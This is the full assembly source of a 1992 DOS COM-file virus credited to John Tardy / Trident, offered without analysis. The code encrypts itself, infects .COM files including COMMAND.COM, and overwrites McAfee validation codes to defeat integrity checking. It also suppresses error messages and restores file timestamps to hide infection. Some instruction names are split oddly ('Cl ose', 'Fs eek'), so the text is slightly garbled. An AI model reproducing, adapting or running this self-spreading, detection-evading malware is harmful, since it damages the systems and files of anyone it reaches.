2022-08-21 09:07:57 +00:00
Org 0h ; Generate .BIN file
Start: Jmp MainVir ; Jump to decryptor code at EOF
Db '*' ; Virus signature (very short)
;
; Decryptor procedure
;
MainVir: Call On1 ; Push offset on stack
On1: Pop BP ; Calculate virus offset
Sub BP , Offset MainVir + 3 ;
Push Ax ; Save possible error code
Lea Si , Crypt [ BP ] ; Decrypt the virus with a
Mov Di , Si ; very simple exclusive or
Mov Cx , CryptLen ; function.
Decrypt: Lodsb ;
Xor Al , 0 ;
Stosb ;
Loop Decrypt ;
DecrLen Equ $ - MainVir ; Length of the decryptor
;
; Main initialization procedure
;
Crypt: Mov Ax , Cs : OrgPrg [ BP ] ; Store begin of host at
Mov Bx , Cs : OrgPrg [ BP ] + 2 ; cs:100h (begin of com)
Mov Cs : Start + 100h , Ax ;
Mov Cs : Start [ 2 ] + 100h , Bx ;
Xor Ax , Ax ; Get original interrupt 24
Push Ax ; (critical error handler)
Pop Ds ;
Mov Bx , Ds :[ 4 * 24h ] ;
Mov Es , Ds :[ 4 * 24h ] + 4 ;
Mov Word Ptr Cs : OldInt24 [ Bp ], Bx ; And store it on a save place
Mov Word Ptr Cs : OldInt24 + 2 [ Bp ], Es ;
Lea Bx , NewInt24 [ Bp ] ; Install own critical error
Push Cs ; handler to avoid messages
Pop Es ; when a disk is write
Mov Word Ptr Ds :[ 4 * 24h ], Bx ; protected and such things
Mov Word Ptr Ds :[ 4 * 24h ] + 2 , Es ;
Push Cs ;
Pop Ds ;
Mov Ah , 30h ; Check if DOS version is
Int 21h ; 3.0 or above for correct
Cmp Al , 3 ; interrupt use
Jae NoCLean ;
Jmp Ready
NoClean: Mov Ah , 1ah ; Store DTA at safe place
Mov Dx , 0fd00h ;
Int 21h ;
Mov Ah , 4eh ; FindFirsFile Function
Search: Lea Dx , FileSpec [ BP ] ; Search for filespec given
Xor Cx , Cx ; in FileSpec adress
Int 21h ;
Jnc Found ; Found - Found
Jmp Ready ; Not Found - Ready
Found: Mov Ax , 4300h ; Get file attributes and
Mov Dx , 0fd1eh ; store them on the stack
Int 21h ;
Push Cx ;
Mov Ax , 4301h ; clear file attributes
Xor Cx , Cx ;
Int 21h ;
Mov Ax , 3d02h ; open file with read/write
Int 21h ; access
Mov Bx , 5700h ; save file date/time stamp
Xchg Ax , Bx ; on the stack
Int 21h ;
Push Cx ;
Push Dx ;
Mov Ah , 3fh ; read the first 4 bytes of
Lea Dx , OrgPrg [ BP ] ; the program onto OrgPrg
Mov Cx , 4 ;
Int 21h ;
Mov Ax , Cs :[ OrgPrg ][ BP ] ; Check if renamed exe-file
Cmp Ax , 'ZM' ;
Je ExeFile ;
Cmp Ax , 'MZ' ; Check if renamed weird exe-
Je ExeFile ; file
Mov Ah , Cs :[ OrgPrg + 3 ][ BP ] ; Check if already infected
Cmp Ah , '*' ;
Jne Infect ;
ExeFile: Call Cl ose ; If one of the checks is yes,
Mov Ah , 4fh ; close file and search next
Jmp Search ; file
FSeek: Xor Cx , Cx ; subroutine to jump to end
Xor Dx , Dx ; or begin of file
Int 21h ;
Ret ;
Infect: Mov Ax , 0 fd1e [ 0 ] ; check if the file is
Cmp Ax , 'OC' ; COMMAN?.COM (usually result
Jne NoCommand ; if COMMAND.COM)
Mov Ax , 0 fd1e [ 2 ] ;
Cmp Ax , 'MM' ;
Jne NoCommand ;
Mov Ax , 0 fd1e [ 4 ] ;
Cmp Ax , 'NA' ;
Jne NoCommand ;
Mov Ax , 4202h ; Jump to EOF
Call Fs eek ;
Cmp Ax , 0f000h ; Check if file too large
Jae ExeFile
Cmp Ax , VirS ; Check if file to short
jbe ExeFile
Sub Ax , VirS
Xchg Cx , Dx
Mov Dx , 4200h
Xchg Dx , Ax
Mov EOFminVir [ BP ], Dx
Int 21h
Mov Ah , 3fh
Mov Dx , Offset Buffer
Mov Cx , VirS
Int 21h
Cld
Mov Si , Offset Buffer
Mov Cx , VirLen
On5:
Push Cx
On6: Lodsb
Cmp Al , 0
Jne On4
Loop On6
On4: Cmp Cx , 0
Je Found0
Pop Cx
Cmp Si , SeekLen
Jb On5
Jmp NoCommand
Found0: Pop Cx
Sub Si , Offset Buffer
Sub Si , Cx
Xor Cx , Cx
Mov Dx , EOFminVir [ BP ]
Add Dx , Si
Mov Ax , 4200h
Int 21h
Jmp CalcVirus
EOFminVir Dw 0
NoCommand: Mov Ax , 4202h ; jump to EOF
Call FS eek ;
Cmp Ax , 0f000h ; Check if file too large
Jb NoExe1 ; if yes, goto exefile
Jmp ExeFile ;
NoExe1: Cmp Ax , 10 ; Check if file too short
Ja NoExe2 ; if yes, goto exefile
Jmp ExeFile ;
NoExe2: Mov Cx , Dx ; calculate pointer to offset
Mov Dx , Ax ; EOF-52 (for McAfee validation
Sub Dx , 52 ; codes)
Mov Si , Cx ; move file pointer to the
Mov Di , Dx ; calculated address
Mov Ax , 4200h ;
Int 21h ;
Mov Ah , 3fh ; read the last 52 bytes
Mov Dx , 0fb00h ; of the file
Mov Cx , 52 ;
Int 21h ;
Cmp Ds : 0Fb00h , 0fdf0h ; check if protected with the
Jne Ch eck2 ; AG option
Cmp Ds : 0fb02h , 0aac5h ;
Jne Ch eck2 ;
Mov Ax , 4200h ; yes - let virus overwrite
Mov Cx , Si ; the code with itself, so
Mov Dx , Di ; the file has no validation
Int 21h ; code
Jmp CalcVirus ;
Check2: Cmp Ds : 0Fb00h + 42 , 0fdf0h ; check if protected with the
Jne Eof ; AV option
Cmp Ds : 0Fb02h + 42 , 0aac5h ;
Jne Eof ;
Mov Ax , 4200h ; yes - let virus overwrite
Mov Cx , Si ; the code with itself, so
Mov Dx , Di ; the file has no validation
Add Dx , 42 ; code
Int 21h ;
Jmp CalcVirus ;
Eof: Mov Ax , 4202h ; not AG or AV - jump to
Call Fs eek ; EOF
CalcVirus: Sub Ax , 3 ; calculate the jump for the
Mov Cs : CallPtr [ BP ] + 1 , Ax ; virus start
GetCrypt: Mov Ah , 2ch ; get 100s seconds for the
Int 21h ; encryption value.
Cmp Dl , 0 ; if not zero, goto NoZero
Jne NoZero ;
Jmp GetCrypt ;
NoZero: Mov Cs : Decrypt + 2 [ BP ], Dl ; Store key into decryptor
Lea Si , MainVir [ BP ] ; Move changed decryptor to
Mov Di , 0fb00h ; a safe place in memory
Mov Cx , DecrLen ;
Rep Movsb ;
Lea Si , Crypt [ BP ] ; Encrypt the virus and merge
Mov Cx , CryptLen ; it to the changed decryptor
Encrypt: Lodsb ; code
Xor Al , Dl ;
Stosb ;
Loop Encrypt ;
Mov Ah , 40h ; append virus at EOF or over
Lea Dx , 0fb00h ; the validation code of
Mov Cx , VirLen ; McAfee
Int 21h ;
Mov Ax , 4200h ; Jump to BOF
Call FS eek ;
Mov Ah , 40h ; Write Jump at BOF
Lea Dx , CallPtr [ BP ] ;
Mov Cx , 4 ;
Int 21h ;
Call Cl ose ; Jump to Close routine
Ready: Mov Ah , 1ah ; Restore DTA to normal
Mov Dx , 80h ; offset
Int 21h ;
Mov Ax , Cs : OldInt24 [ Bp ] ; remove critical error
Mov Dx , Cs : OldInt24 + 2 [ Bp ] ; handler and store the
Xor Bx , Bx ; original handler at the
Push Bx ; interrupt table
Pop Ds ;
Mov Ds :[ 4 * 24h ], Dx ;
Mov Ds :[ 4 * 24h ] + 2 , Ax ;
Push Cs ;
Pop Ds ;
Pop Ax ; restore possible error code
Mov Bx , 100h ; nice way to jump to the
Push Cs ; begin of the original host
Push Bx ; code
Retf ;
Db ' (C) 1992 John Tardy / Trident '
Close: Pop Si ; why???
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax , 5701h ;
Int 21h ;
Mov Ah , 3eh ; close file
Int 21h ;
Mov Ax , 4301h ; restore file attributes
Pop Cx ;
Mov Dx , 0fd1eh ;
Int 21h ;
Push Si ; why???
Ret
; Db 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
Db ' Satan spawn, the Caco-Daemon - Mor(T)alities Death '
;
; New critical error handler
;
NewInt24: Mov Al , 3 ; supress any critical error
Iret ; messages
OldInt24 Dd 0 ; storage place for old int 24
CallPtr Db 0e9h , 0 , 0 ; jump to place at BOF
FileSpec Db '*.COM' , 0 ; filespec and infection marker
OrgPrg: Int 20h ; original program
Db 'JT' ;
CryptLen Equ $ - Crypt ; encrypted part length
VirLen Equ $ - MainVir ; total virus length
Buffer Equ 0f040h ; buffer offset
VirS Equ VirLen * 2
SeekLen Equ Buffer + Virs
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